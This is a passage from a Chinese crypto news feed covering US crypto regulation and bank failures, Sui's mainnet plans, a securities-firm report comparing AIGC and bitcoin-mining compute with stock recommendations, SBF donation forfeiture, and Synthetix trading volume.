之间明显的地盘争夺战，后者对期货和掉期等商品衍生品交易拥有权限。关于代币分类的持续争论——证券还是商品？– 使管辖范围变得模糊。 CFTC 在联邦法院的支持下表示，以太坊和稳定币是商品。SEC 在法院的支持下表示，大多数加密货币都是证券。 SEC 创新与金融技术战略中心 (FinHub) 办公室主任 Valerie Szczepanik 在 9 月数字资产峰会的小组讨论中说：“这两个机构的合作非常紧密，从我的角度来看，这些机构真的希望把它做好。这一切都与投资者保护和市场诚信有关，两个机构希望涵盖这一领域，以实现这些目标。” 在整个执法行动、批评和机构间冲突中，Gensler 一直坚持认为 SEC 的首要任务是保护投资者。他在与美国陆军就负责任的投资举行的 Twitter Space活动中说，加密行业是“狂野西部”。 Gensler 补充道：“这 10 或 15,000 个代币中的大多数都会失败， 那是因为风险投资失败了，新创业公司失败了——但也因为历史告诉我们，替代货币没有太多发展空间，你知道，我们有美元，欧洲有欧元等。” 运营瓶颈2.0？ 行业成员坚持呼吁将加密货币与银行系统隔离之后，监管机构上周介入了。 在面临大量与 FTX 相关的提款后，Silvergate Bank 面临流动性危机， 3 月 9 日宣布了清算计划。监管机构随后于 3 月 10 日接管了硅谷银行（Silicon Valley Bank），以及Signature Bank--最后一家开展加密银行业务的代表性公司--于 3 月 12 日被 FDIC 接管。 在周一的一系列采访中，担任 Signature 董事会成员的前众议员Barney Frank表示，该银行的困境始于 FTX 内爆。Frank 在2008 年金融危机期间担任众议院金融服务委员会主席。 但是他说，NYDFS 以 Signature 为目标是为了明确其对加密的看法，尽管 FDIC 此后澄清说买家将能够承担 Signature 的所有资产和负债，包括加密业务。 一位发言人周二告诉 Fortune，出于对银行业务运营及其满足客户需求的能力的担忧，纽约金融服务部选择将 Signature 的控制权移交给 FDIC。 专家表示，尽管纽约监管机构否认加密技术在 Signature 的垮台中发挥了任何作用，但当前的银行业危机可能会影响行业监管和随后的政策。 加密游说机构区块链协会政府关系主管Ron Hammond 说：“在政策制定者认为谁有过错方面存在分歧，导致党派分歧越来越大，国会议员担心，这种日益增长的党派纷争可能会渗透到银行委员会与当前危机无关的其他政策优先事项，我第一个想到的就是稳定币。” 不过，关闭并不是加密货币访问银行服务的第一个障碍。 总部位于怀俄明州的加密货币银行 Custodia 表示，多年来一直在努力让加密货币公司远离银行系统。由于中央银行对 Custodia 的风险管理做法的担忧，该银行被拒绝加入美联储系统。 Custodia 首席执行官 Caitlin Long 在一份声明中写道：“Custodia 对美联储的行动感到惊讶和失望，Custodia 提供了一种安全的、受联邦监管的、有偿付能力的替代方案，可以替代那些渗透到美国银行系统并给一些银行带来灾难性后果的鲁莽投机者和加密骗子。” 长期的加密货币支持者和风险投资家 Nic Carter 上个月在一篇博客文章中表示，在美国开展加密银行业务的可选范围一直很有限，直到本周，Signature 都被视为一个可行的选择，但这家对加密货币友好的银行已经开始与加密资产类别保持距离。 Signature 加密存款从 2022 年的峰值缩减了 130 亿美元。 Carter 说：“一开始是涓涓细流，现在变成了洪水：美国政府正在利用银行业组织一场针对加密行业的复杂、广泛的打击行动。” Chamber of Digital Commerce 政策副总裁 Cody Carbone 表示，随着全面监管压力越来越大，很难想象传统银行或其他银行会投入资源来建立新的出入金通道。 Carbone 补充道：“[Bitfury CEO] Brian Brooks 说得最好......银行和银行业监管的重点不是将风险排除在市场之外，而是为这些风险提供一个安全可靠的场所，我的希望是，随着公众对加密货币的兴趣增加，银行活动也会满足客户的需求。” 美联储的立场不断演变，但他们似乎对让数字资产银行获得访问权不感兴趣。在 1 月份发布的政策声明中，美联储限制银行从事某些与加密货币相关的活动，尽管早些时候的声明声称不阻止或禁止与加密货币公司进行交易。 Carbone说，该声明还“扩大了他们的权力，以涵盖非 FDIC 保险的州特许银行（对像 Custodia 这样的怀俄明州特殊目的存款机构（SPDI）的反应，它可以为银行客户持有加密货币和法定货币）”。 打击美国加密货币——将其与银行业务分开——与司法部过去十年的“Operation Choke Point”（瓶颈点行动）相呼应。 2013 年，司法部提出了一个类似的目标：从银行系统中切断“不良”业务部门，例如以洗钱和欺诈而闻名的小额现金贷机构。 “瓶颈点行动对商业产生了明显的寒蝉效应，”Competitive Enterprise Institute战略副总裁兼高级研究员Iain Murray,在一份报告中写道，“大多数此类银行都无法承受 Choke Point 传票带来的额外监管。因此，他们通常别无选择，只能完全放弃支付处理商和指定的‘高风险’客户。” 正如 Kraken 所尝试的那样，一些加密公司正在考虑的解决方法是推出自己的加密银行。Carbone 说，手头的问题并没有改变；美联储仍将拒绝会员资格和主账户访问。此外，他补充说，获得银行牌照并非易事。 由于联邦监管机构难以达成共识，地方政客一直很忙。在州政府中，党派在加密货币问题上的界限不太明确，而且随着立法机构规模的缩小和人口的同质化，进展会更快。 伊利诺伊州众议员Margaret Croke说：“我们在州立法机构中更加灵活，并且同事之间的沟通得比在联邦层面要好得多。这很有趣，因为在联邦层面，出于某种原因，我们已经产生了‘共和党人支持加密货币’而‘民主党人反对加密货币’的奇怪情绪。” 德克萨斯州Fort Worth在 4 月成为第一个开展公共比特币挖矿业务的城市，科罗拉多州现在允许居民以加密货币支付州税。加利福尼亚州和亚利桑那州正在努力使比特币成为法定货币，尽管法律专家怀疑该计划能否取得任何进展。 Anderson Kill 律师事务所前合伙人 Preston Byrne 表示，根据宪法，定义“法定货币”不是州立法者的职责范围。 “此举主要是象征性的，”Byrne说，“宪法的造币条款意味着决定什么是美国法定货币的权力专属于国会。” 密苏里州、密西西比州和纽约州都提出了有关加密货币挖矿的法案，纽约州州长Kathy Hochul最近签署了新法律；密苏里州和密西西比州的提案侧重于保护希望挖矿的个人和企业，而纽约的新法律限制了工作量证明挖矿业务。 监管……根据谁的条款？ Byrne 和其他行业成员指出，尽管各州的权力有限，在银行章程和税收方面存在地方差异，但如果没有明确的联邦指导，监管环境就不会改善。 Rizzo 说：“国会必须设法找到一种方法，在今年就加密达成共识，” 至于行业领导者呼吁明确的指导方针？Rizzo 说要谨慎期待。 “有时‘我们想要监管’意味着‘我们想要按照我们的条款进行监管’。每个行业都希望如此；但这是行业的工作，制定和修改政策，促进和改善政策底线。” 加密货币的未来——该行业在世界上的位置、谁可以访问、产品是什么样子——在很大程度上取决于美国监管机构和立法者的决定。无论 Gary Gensler 怎么说，大多数行业参与者都不会用清晰度来描述当前混乱的解释、漏洞、公告和任意声明。不过，无论需要多久，加密企业都应该明白，一些规则将会发生变化，他们的运营模式也将不得不做出相应的调整。  ( 6 min )
    Sui Network：主网将于第二季度推出，尚无正式的空投计划
    PANews 3月22日消息，公链项目Sui Network在推特上表示，主网将于今年第二季度推出，目前没有正式的空投计划，Wave to Mainnet活动旨在进一步让社区了解关于Sui协议在主网之前转变Web3的潜力。  ( 4 min )
    从Web3视角出发，看AIGC这只算力“吞金兽”的成长轨迹
    原文：《Web3视角下的AIGC算力进化论》 作者：宋嘉吉 孙爽 伴随着ChatGPT的爆红，AIGC（人工智能生成内容）产业链受到广泛关注。我们发现，同为算力，其与加密资产挖矿产业存在相似之处，均为投入算力和电力，获得经济回报，主要的不同点在产品端：AIGC产业链的产品是对用户提问而回应的内容，而加密资产挖矿的产品是加密资产。 同为算力“吞金兽”，短期比特币更耗电、长期AI算力增速快。同为算力生意，我们做了个有趣的研究，AIGC与BTC挖矿耗电量如何？按当前比特币全网算力319EH/S，每日耗电量约为2.2亿千瓦时；而OpenAI在训练、推理端的日均耗电量约2.6万千瓦时，约是前者的万分之一，但按OpenAI的预测，AI训练所需的算力每3-4个月翻倍，且考虑商业竞争算力增长速度预计将更快，“算力即权力”的时代将来临。中性预期下，ChatGPT日活稳定在1亿人次左右、ChatGPT每6个月模型参数翻倍、国际市场将出现10个左右类似于ChatGPT的商用大模型，而比特币挖矿耗电量保持当前状态，则大约4年后，AIGC大模型耗电量将超过比特币挖矿耗电量，乐观和悲观预期下，这一数字则分别为1.6年和7.5年。 算力的竞争性——产业自驱的结果。市场忽略了算力的竞争性，考虑商业因素，算力生意存在分子与分母端。对比特币挖矿而言，关于个体矿工能挖到的可用于变现的比特币数量，分子是个体的算力，分母是全网算力，个体矿工能挖得的比特币数量取决于其自身算力占全网算力的比例。而AIGC而言，关于个人内容生产者能获得的可用于变现的用户注意力，分子是个体算力驱动下的内容生产能力，分母是全网的内容膨胀速度，从UGC到AIGC的升维中，谁的内容生产力提升更快，谁就能获得更多商业利益，因此产业自驱之下，市场将追求更高的算力、更优的模型算法、更高功耗比的网络架构以及更便宜的电力。最终算力的需求规模将由应用定义。 寻找算力进化中的边际变化。当下难以预知未来多模态（图片、视频等）中到底会消耗多少算力，可当我们看到海外已然层出不穷的应用时，算力的增长只是时间问题，更重要的边际变化在于算力进化中在芯片、网络、连接等诸多领域有哪些创新方案？我们认为，在AIGC的推动下，更有利于新技术、新架构、新材料的落地应用，例如光连接中的CPO（光电共封装）、MPO（多纤连接器）；芯片层面的Chiplet；网络架构层面的边缘计算等。 AIGC驱动算力产业版图生变。我们研究了过往加密资产领域的算力变迁，云服务与分布式早已应用（BTC云挖矿与Filecoin分布式存储），而今在AIGC的算力版图上亦同步发生。1）英伟达募资百亿进入AI云算力，其在GPU供给、算力复用度上占优，且将改变其商业模式；2）高通在AIoT领域布局终端算力，推理与内容生产端算力与存储的梯度分布（云—雾—端）。这些变化将驱动终端IT服务和硬件的升级。 投资建议：建议关注：1）算力侧：英伟达、微软、寒武纪、天孚、太辰光、锐捷网络、中兴、紫光、美格智能、新易盛、中际旭创、Chiplet产业链等；2）应用及IP：科大讯飞、汤姆猫、万兴科技、中文在线、昆仑万维、视觉中国、值得买等。 伴随着ChatGPT的爆红，AIGC（人工智能生成内容）产业链受到市场广泛关注。算力，作为AIGC的基础，更被称为基石，近日英伟达在财报中的表述也佐证了这一点。市场一直在问：未来的算力需求到底有多大？我们发现现有的论述虽就GhatGPT的需求进行了推演，但未来AIGC必然走向多模态，其需求量和需求逻辑也将有所差异，算力的增长将大幅超预期，而理解这些的一切都建立在如何认识AI算力生意上。 过去我们讨论算力较多着眼于IDC，其商业逻辑着重于“数字地产”，即购买或租赁土地，投资建设机房并按机柜（或功耗）租赁给下游政企客户，从用途上兼顾“存”与“算”，但大部分一线城市以外的机柜都以“存”为主。AI算力则聚焦于“算”，在我们和国内外团队交流中，构建AI超算中心的资本开支核心在于GPU，这种高密度的计算未来将着重受限于两个指标：算力、功耗比。这与过往的“挖矿”市场在经济模型上有一定相似之处，研究这一特征有助于预测AIGC算力生意的未来走向。 1.1 算力经济模型：投入硬件和电力，获得经济回报 过去我们看到很多超算中心提供气象、交通、工业等领域的服务，但更多侧重于社会价值，而对AIGC或“挖矿”而言，都直接以经济回报为目的，投入产出要求更高。产业链方面，可以看出，AIGC产业链与加密资产挖矿存在若干相似之处。 1.2 对用户的内容生成，是AIGC产业链的产品 AIGC产业链与加密资产挖矿的不同之处在产品端，AIGC产业链的产品是对用户提问而回应的内容，而加密资产挖矿的产品是加密资产。具体看来，两大产业的不同包括： 成本端， 产品端， 收入端，   2 算力“吞金兽”：当前BTC耗电更大，而AIGC增速快 2.1 AIGC和比特币挖矿耗电量比较：当前比特币挖矿更耗电 由于AIGC算法和加密资产挖矿算法的不同，难以直接比较其参数，另外由于AIGC尚处于发展早期，年收入尚难估算，但我们找到了直接对比AIGC和比特币挖矿的一个直观指标：耗电量。 根据我们的计算，ChatGPT每日训练和推理的耗电量为25677千瓦时，是比特币挖矿日耗电量的万分之一（比特币挖矿为2.2亿千瓦时）。 此处我们使用的数据是： 比特币挖矿方面， AIGC方面， ChatGPT之外，我们也注意到其他AIGC文本服务和多模态领域对算力和电量的海量需求。 大语言模型训练成本高昂。参考Substack作者“Sunyan”的测算，模型参数为2800亿个Gopher（Google DeepMind）的训练成本为200万美元；模型参数为5300亿的MT-NLG（Microsoft/Nvidia）的训练成本为400万美元；模型参数为5400亿的PaLM（Google Reasearch）的训练成本为1100万美元。根据《财富》杂志，在尚未收费的2022年，OpenAI该年度净亏损即高达5.445亿美元（不含员工股票期权），我们预计其中算力成本占据了重要位置。 图片 生成图片所需的算力取决于多个因素，例如生成图片的分辨率、所使用的算法、训练数据集的大小和质量，以及使用的硬件等。 Stable Diffusion Dall-E 根据《Zero-Shot Text-to-Image Generation》，OpenAI在Dall-E的整个训练中，共使用了 1024 块 16GB 的 NVIDIA V100 GPU。团队从网上收集了一个包含 2.5 亿个图像文本对的数据集，在这一数据集上训练一个包含 120 亿个参数的自回归 Transformer。 另外，论文介绍道，用于图像重建部分的dVAE模型的训练，共用了 64 块 16GB 的 NVIDIA V100 GPU，判别模型 CLIP 则共使用 256 块 GPU 训练了 14 天。 视频 生成视频所需的算力和存储空间比生成单张图片更高，因为生成视频需要在时间维度上连续地生成，而视频中的每一帧都需要根据前一帧生成。 因此，生成视频所需的算力取决于多个因素，包括视频分辨率、帧率、视频长度、所使用的算法和训练数据集的大小和质量。使用GPU可以显著加速训练，但是在生成高分辨率视频时，可能需要使用多个GPU和分布式计算来加速训练。 近期我们尝试定制了2D仿真数字人，在每次内容生产时就是将语音和文本内容添加到已经构建好的人物模型中（数字人模型），在后台通过GPU生成短视频，其生成速度与GPU规模密切相关。对于创业企业而言，未来的定价就是基于算力成本，用户也是购买算力时长后自由使用。 2.2 未来，AIGC耗电量或将超越比特币挖矿 这个问题在近期的交流中常被问及，海外有一系列的论文对此算力进行了测算，但我们认为更重要的各类应用涌现、商业竞争加剧带来的算力“军备竞赛”是非线性的，算力与应用之间会形成正反馈。 考虑到ChatGPT的日活还在不断增长、国际AIGC服务的竞争还在不断加深，我们预计，不考虑模型效率提升对算力需求的下降，也不考虑模型训练的标识符（token）的增长，中性预期下，ChatGPT日活稳定在1亿人次左右、ChatGPT每3个月模型参数翻倍、同时假设全球市场将出现10个左右类似于ChatGPT的商用大模型，而比特币挖矿耗电量保持当前状态，则大约4年后，AIGC大模型耗电量将超过比特币挖矿耗电量。乐观和悲观预期下，这一数字则分别为1.6年和7.5年。注意，此时我们只是考虑了类似于ChatGPT的商用大模型，而实际可能出现可能消耗更多算力的多模态商用大模型，如果考虑到这一点，AIGC耗电量的增长将会更快。 3 算力的竞争性——不容忽视的产业自驱结果 很多时候，算力的投入并不是独立的，而需要和全网总量竞争。我们认为，AIGC产业和加密资产挖矿中的比特币挖矿，都存在内部过度竞争的可能性。对于比特币而言，算力竞赛的目的是要占据更多的全网算力比重，从而提高获得奖励的可能性；对于AIGC而言，在内容创作领域，需要保证自身的内容生产速度快于行业平均，尤其是在短视频、游戏等相对重度的领域中。 3.1 比特币挖矿的内化竞争 3.1.1 “产量”恒定，全网算力越多，自身获益越少 比特币全网每10分钟出一个“区块”，成功“挖掘”出该“区块”的矿工会获得系统发行的比特币奖励和该区块内所有交易的手续费（前者占主要部分），当前的出块奖励是6.25个比特币（起初是50个，奖励数每四年减半，即“50→25→12.5→6.25→……”）。 根据这些限制条件，比特币的“产量”总量恒定（约为2100万），在出块奖励未改变的每四年内也保持了相对恒定（如当前每天几乎是900个），而矿工能挖得的比特币数量取决于其自身算力占全网算力的比例。当其他矿工认为当前挖矿性价比较高而将算力投入挖矿，则单个矿工自身算力占全网算力的比例下降，此时如果比特币价格没有出现明显上升，则该矿工的比特币挖矿收入和利润出现下降，这就是比特币挖矿内部过度竞争的逻辑。 3.1.2 内部过度竞争的出现有前提 需要注意到，比特币挖矿出现内部过度竞争存在若干前提，实际情况中，内部过度竞争并非一定会出现。根据Bitinfocharts统计，截至2023年2月23日的三年以来，比特币全网算力呈现平稳上升趋势，而与此同时，单位算力的挖矿利润呈现平稳下降趋势，这呈现出一定的“内部过度竞争”特征。一个重要原因是，比特币价格在此期间呈“横盘震荡”状态。 从趋势上看，比特币挖矿单位算力挖矿利润与比特币价格更为相关，当比特币价格上升，前者即能出现较为明显的上升态势。这在一定程度上意味着，打破矿工之间在算力和可挖得比特币“数量”上的内部过度竞争，获得更多比特币挖矿收入和利润，需要比特币“价格”因素发力。 3.2 AIGC算力的外化竞争 3.2.1 需求端：刚被点燃，放量在即 创新应用往往是供给引导需求。当前，AIGC正走向多模态，各种服务已经逐步实现商业化，用户需求刚被供给端点燃，从最新的增长情况看，放量在即。 AIGC文字服务ChatGPT AIGC图片服务Dall-E AIGC图片服务Midjourney 3.2.2 供给端：算力和数据快速进化，模型获开源赋能 我们认为，如果“需求横盘震荡或下滑”前提不存在，则AIGC并不会陷入内部过度竞争状态。目前看来，业内公认的AIGC大语言模型（LLM）的三个关键因素都在快速飞升，但一旦AIGC内部过度竞争出现，“数据”和“算力”可能最先，“模型”则可能次之，部分模型的开源能为其带来长久活力。 算力：六年来增长了182倍 输入端 合成数据，不基于任何现实现象或事件的数据组成，而通过计算机程序生成。AIGC生成的数据是合成数据生产的重要方式。Gartner预测， 这一方面体现出市场对合成数据的看好，另外一方面，我们认为，这反应出市场当前互联网公开数据可能存在被AI模型“耗尽”的担忧。 根据未尽研究的梳理，阿伯丁大学、麻省理工大学、图宾根大学的Pablo Villalobos等6位计算机科学家在论文《我们会用完数据吗？机器学习中数据集缩放的局限性分析》中预计， 根据上述论文《我们会用完数据吗？机器学习中数据集缩放的局限性分析》，现在互联网上的存量视觉数据数量在8.1万亿到23万亿之间，目前的年增长率在8%左右，视觉模型数据耗尽的情况将在2030年到2060年之间发生。相较文本数据，视觉数据对AI训练而言，耗尽的时间较为靠后。不过根据IDEA研究院计算机视觉与机器人研究中心讲席科学家张磊博士的观点，将视觉数据用于AI训练，还存在“大模型学到的全图表征用于细粒度问题会性能递减”“视觉算法方面尚需进一步改进”“视觉大模型目前还没有达到单纯增加数据提高效果的阶段”等问题。 输出/产品端 除了“输入”内容/数据的快速进化，我们还需要考虑的是，在AIGC“输出”的内容/数据方面，当未来AIGC的使用越来越普及的时候，互联网内容竞争的格局会有怎样的变化？ 在过去的十年中，抖音、小红书等平台大幅降低了内容创作、分享的壁垒，UGC模式的内容丰富程度和规模远超过往。而当前无论是带货直播还是内容创作，门槛均比之前有所提高，UGC也“卷”了起来。 而当AIGC来临时，内容竞争又将升维，例如数字虚拟人将实现包括外形、声纹、对话内容的模拟，或许看到的很多内容将是AI生成，作为个体需要保证自身的内容生产、进化速度快于行业均值，背后的算力投入将首当其冲，否则将直接影响账号盈利能力。 我们认为，市场忽略了算力的竞争性，考虑商业因素，算力生意存在分子与分母端。对比特币挖矿而言，其分子是个体的算力，分母是全网算力，个体矿工能挖得的比特币数量取决于其自身算力占全网算力的比例。而对AIGC而言，其能获得的用户注意力的分子是个体算力驱动下的内容生产能力，分母是全网的内容膨胀速度。从UGC到AIGC的升维中，谁的内容生产力提升更快，谁就能获得更多商业利益，因此产业自驱之下，市场将追求更高的算力、更优的模型算法、更高功耗比的网络架构以及更便宜的电力。 模型：参数迅速堆叠 2017年以来，AIGC模型的参数量逐年增加，从，2021年以来，这一趋势呈现出明显加快的状态，从ELMo的9400万个参数一路飙升，至2020年年中，GPT-3引领行业走入千亿参数时代，参数达1750亿个，截至2021年年中，英伟达大语言模型MT-NLG更是超过了5300亿。 底层的大模型具有明显的头部效应，在算力、投资、数据上形成了正反馈，可以预见，竞争之下，大模型会不断集中。而基于大模型开发的垂直应用将层出不穷，正如我们在上篇报告中所说，大模型的“通识化”将是未来AI快速迭代的基础。 当下难以预知未来多模态（图片、视频等）中到底会消耗多少算力，可当我们看到海外已然层出不穷的应用时，算力的增长只是时间问题，更重要的边际变化在于算力进化中在芯片、网络、连接等诸多领域有哪些创新方案？ 我们认为，在AIGC的推动下，更有利于新技术、新架构、新材料的落地应用，例如光连接中的CPO（光电共封装）、MPO（多纤连接器）；芯片层面的Chiplet；网络架构层面的边缘计算等。 4.1 提升超算通信效率，高密度光连接成首选 大规模超算集群，通信效率直接影响训练效率。大模型训练需要超算集群持续运算数月时间，需调用数千片GPU运算海量数据，GPU与GPU间、服务器与服务器节点之间存在海量内部数据交互需求，根据木桶效应，只要有一条链路出现负载不均导致网络堵塞，成为木桶短板，则其他链路即使畅通无阻，集合通信时间仍然会大幅度增长，进而直接影响训练效率。集群训练会引入额外的通信开销，从而导致N个GPU算力达不到单个GPU算力的N倍。因此，高性能网络互联，是大规模GPU集群所必须的。 提升超算通信效率，高密度光连接成为首选。超算除了需要高密度光传输端口外，端口和端口间主要以光纤连接器来实现光互联，多采用MTP/MPO高密度光纤连接器实现连接。其中MPO是光纤连接器，主要用途是用以实现光纤的接续，MPO会直接影响光传输系统的可靠性等各项性能。数据中心的内部光学连接需要借助光模块和光纤连接器来实现。因超算集群内部节点之间对于高效率高速互联的硬性需求，光端口密度的进一步提升，并且综合光纤连接器走线连接的可实施性和可维护性，我们预计超算集群对于高密度光纤连接器的需求量较传统云数据中心有较大幅度的提升，而随着全球科技聚焦大模型AI训练，相应超算投入将确定性增长，高密度光连接将确定性受益。 4.2 基于功耗考虑，CPO方案渗透率有望逐步提升 AI大背景下，未来基于功耗考虑，CPO方案渗透率有望逐步提升。CPO方案通过光电耦合共封装在插槽或PCB上，加上液冷板降温控制功耗，有望成为AI高算力下高能效比方案。但CPO在降低功耗的同时也有一些隐患，主要是光电共封装后，光引擎焊接在同一插槽上不可更换。如果光纤或者光引擎出现损坏，可能会影响整个CPO交换ASIC基板，对交换机生产的总体成本会产生负面影响。 从CPO方案看MPO的变化。CPO交换机内部带来的变化一个是光纤数量增多，一个是交换机内部布线复杂度提升。一个51.2T的交换机按单口100G来估算将达到512通道，对应1024根光纤。对应如果是16芯的MPO需要64根，对应64个端口。 光纤和MPO用量提升后，同时又由于CPO方案拉近了光引擎和ASIC的距离来降低线上损耗，就导致光纤布线要从原来的机箱外部延伸到内部接到光引擎，等于额外增加了光引擎到交换机机箱前面板的布线。内部光纤路由复杂程度提高。 中间板/板载光互连或成布线解决方案，降低CPO出错成本。因为CPO下每个光引擎到面板距离不同，导致尾纤长度有差异，且布线复杂易损坏光纤影响整机。考虑在光引擎和端口面板间增加板中连接器，固定尾纤长度，降低布线复杂度。将CPO的试错成本转移到板中连接器和端口的MPO上。简而言之，通过增加连接来降低布线复杂度和出错的成本。 海外AIGC/ChatGPT持续扩散，带宽密度有望大幅上行。在未来算力/带宽高增的背景下，以及CPO的新方案拉动下，MPO的用量有望大幅提升，在设备内部重要性也逐步提高。 5.1 云化：算力服务商与云厂商走向历史性合作 当算力竞争加剧，“降本增效”将成为企业的生存关键，通过投资、并购，与上、游合作，将成本“内化”是一条可选路径。我们注意到，当前已有AIGC企业选择“投靠”云服务厂商，例如OpenAI与微软Azure云的合作；也有算力厂商开始了对AI模型的研发，例如英伟达大语言模型NeMo和NVIDIA BioNeMo LLM 服务。 其中，OpenAI与微软Azure云的合作具有一定程度的示范效应，它通过深刻利益绑定，我们推测，这种合作能降低OpenAI训练AI所需的云计算成本。 根据《财富》杂志报道，在OpenAI的第一批投资者收回初始资本后，微软将有权获得OpenAI 75%利润，直到微软收回投资成本（130亿美元）； 当OpenAI实现920亿美元的利润后，微软的份额将降至49%。与此同时，其他风险投资者和OpenAI的员工，也将有权获得OpenAI 49%的利润，直到他们赚取约1500亿美元。 如果达到这些上限，微软和投资者的股份将归还给OpenAI非营利基金会。 除了利润回报，微软微软在整合ChatGPT等方面也占尽了先机。除了将搜索引擎Bing整合ChatGPT，2023年1月，微软宣布推出Azure OpenAI服务，Azure 全球版企业客户可以在云平台上直接调用OpenAI模型，包括 GPT－3．5、Codex 和 DALL．E 模型。 英伟达向SEC提交百亿增发申请，全球算力龙头启动战备。2月28日，英伟达向美国证券交易委员会（SEC）提交近百亿美元的股票增发申请，此次增发申请通过储驾发现模式进行，可在三年内自主决定发行证券的具体时机。英伟达作为全球算力龙头，在本轮chatgpt带动的大模型发展，科技巨头跑步进场，AI算力底层基础设施迎确定性爆发，英伟达在此前财报会议上表示将与头部云服务商合作，提供AI即服务，帮助企业访问英伟达世界领先的AI平台，本次融资或代表全球算力龙头英伟达拉开了算力竞备序幕。 根据福布斯中国的梳理，客户使用自己的浏览器，就可以通过 NVIDIA DGX Cloud 来使用 NVIDIA DGX AI 超级计算机，该服务已经在Oracle Cloud Infrastructure上可用，预计不久后也将在微软Azure、谷歌云和其他平台上线。在AI平台软件层，客户将能够访问NVIDIA AI Enterprise，以训练和部署大型语言模型或其他 AI 工作负载。而在AI模型即服务层，英伟达将向希望为其业务建立专有生成式AI模型和服务的企业客户提供NeMo和BioNeMo可定制AI模型。 无独有偶，AI产业算力服务商与云厂商的历史性合作，加密资产挖矿领域早已应用。例如，加密资产矿机厂商比特大陆一度推出云算力服务平台“比特小鹿”，用户无需购买矿机硬件，也可以购入挖矿算力，获得挖矿收入。这一举措，通过“化整为零”的方式，对用户/AIGC需求厂商而言，能最大化降低入局挖矿门槛，驱动全民挖矿/AIGC时代降临；对矿机/算力厂商而言，在矿机/芯片进入淡季、矿机/芯片库存趋增时，能通过售卖云算力的方式，平滑收入的波动；对云服务厂商而言，则有助于增加客流。 5.2 推理边缘化：边缘算力有望成为推理主体 高通发布在Android手机上部署AI模型的解决方案。3月2日，高通中国公众号发布了全球首个运行在Android手机上的Stable Diffusion终端侧演示。高通AI部门演示了如何利用高通AI软件栈，首次在Android智能手机部署Stable Diffusion模型。该模型是一个用文字生产图片的AI模型，参数超过10亿，过去只能在云端计算集群内运行。 边缘算力有望成为推理主体。在本次实验中，高通AI团队从Hugging Face的FP32 1-5版本开源模型入手，通过量化、编译和硬件加速进行优化，使其能在搭载第二代骁龙8移动平台的手机上运行。我们认为，未来AI的推理过程，通过一定的针对性优化后，完全有能力通过边缘算力实施。同时，边缘算力具有低时延、安全、隐私等优势，符合未来AIGC时代，对于AI创作所有权和隐私权的要求。手机，智能模组等算力相对于云端访问，对于普通用户来说更加便捷和易于学习，对于AIGC应用的推广也更加有利。 边缘算力是未来算力体系的重要一环。当前，无论是需要超强硬件支撑的AI迭代与训练，还是运行要求相对较低，需求相对分散的AI推理，都放在超算中心内进行。我们认为，在AI大爆发周期内，迭代和训练需要的整体算力将会呈指数级增长，增速将会超过单芯片算力增长速度。同时，单个AI超算规模将会受到功耗、土地、散热等因素制约。因此，未来的AI运算将呈现出训练与迭代在云端，推理与内容生产梯度分布（云侧+雾侧+边缘侧）的格局变化。此外，随着AIGC内容愈发丰富，从简单的文字发展到视频、虚拟场景，如果采用云生成然后发送到端的形式，将会产生较多的网络带宽成本和一定程度的时延，进而影响模型的商业化进程与用户使用体验，边缘算力有助于作为补充手段改善这一情形。 我们注意到，比特币矿机厂商嘉楠科技推出了自研的边缘AI芯片，其董事长张楠赓在一次公开发言中表示，未来会有更多计算发生在边缘侧或者端侧。2022年11月，嘉楠科技宣布即将推出为立体视觉和高性能AI而生的端侧RISC-V AIoT芯片 K230。值得一提的是，嘉楠科技作为比特币矿机厂商，是首个交付全球7nm ASIC芯片的企业，2016年启动AI人工智能芯片研发，2018年发布了全球首款基于RISC-V的AI芯片。嘉楠科技的布局，也体现出AI算力和加密资产算力在商业模式等层面的一种共通性。 投资建议 综上所述，算力、数据和场景是当下A股的主要投资方向。算力层面，我们认为硬件开销的规模由应用决定，在AIGC赋能千行百业的情况下，着重于跟踪应用端的边际变化。AI硬件仍以英伟达GPU产业链为主；在能耗、电费因素的影响下，东数西算的重要性将强化，新疆、内蒙古、云南、四川、贵州、西藏等火电、水电、太阳能资源丰富的省份将成为AI大规模训练、应用的优势区域。目前国内的AIGC竞赛刚刚开始，预计将首先出现英伟达A100需求的趋紧，随着规模增加，能耗问题也将凸显。 同时，我们看到国内大量拥有用户、IP的应用型企业也在跃跃欲试，本身对于文字创作、广告、游戏等赛道而言，“备战AIGC”将成为当务之急。一方面，其缺乏大模型能力，必须选择与OpenAI或百度等企业的合作；另一方面，其手中有大量的细分场景和付费群体，也是大模型企业期待落地的合作伙伴。我们认为，如能在场景应用、合规等方面做好自己的“小模型”，亦有望在AIGC时代脱颖而出。 风险提示 AIGC技术发展不及预期。虽然AIGC产业的技术在飞速迭代中，但可能遇到阻滞。 AIGC监管趋严。AIGC产业可能在内容创作、数据使用等方面迎来严格监管。 本文节选自国盛证券研究所已于2023年3月19日发布的报告《Web3视角下的AIGC算力进化论》，具体内容请详见相关报告。  ( 6 min )
    美国检方要求没收该国立法者从SBF获得的政治捐款，拟用于偿还此案受害者
    PANews 3月22日消息，据Semafor报道，通过查阅美国纽约南区检察官办公室于2月份发布的通知函，该机构要求立法者交出前FTX首席执行官Sam Bankman-Fried（SBF）及其员工的政治捐款。通知称，捐款代表SBF的犯罪所得，因此可以根据“联邦资产没收法”收回。它指示收款人将现金退还给美国法警服务，而不是FTX本身。检察官计划根据美国司法部的规定，使用没收的任何资金来补偿SBF涉嫌犯罪的受害者。它还表示，政府正在与这家破产公司协调。FTX此前曾向政治人物发出机密信件，要求在2月28日之前归还捐款。Semafor 证实至少有两名国会议员收到了这封信。 Semafor还表示，SBF是Semafor的投资者，Semafor计划回购他的权益。  ( 4 min )
    梳理Synthetix现状：永续合约交易量明显上升，V3更新带来更灵活的定制化服务
    链上永续合约市场巨大，竞争也越来越激烈，除dYdX、GMX等龙头之外，近期Synthetix的永续合约交易量明显上升，Synthetix V3也在逐步推出，让SNX再次受到资本的青睐。 根据Token Terminal的数据，截至3月20日，Synthetix过去7天的收入排名第四，超过了GMX（这里的收入仅统计了分配给原生代币持有人的部分，总的费用则是GMX更高）、Lido、Gains Network等项目。 现货交易萎靡，永续合约交易量上升 Synthetix作为Optimism的重要合作伙伴，早在2021年7月就部署到了Optimism上，此后Synthetix鼓励大家将质押的SNX转移到Optimism，交易和收入也逐渐从以太坊主网转移到Optimism上。Synthetix官网的Dune仪表板显示，过去7天总的收入为133万美元，L1上平均每天的收入为3577美元，L2上平均每天的收入为18.7万美元。 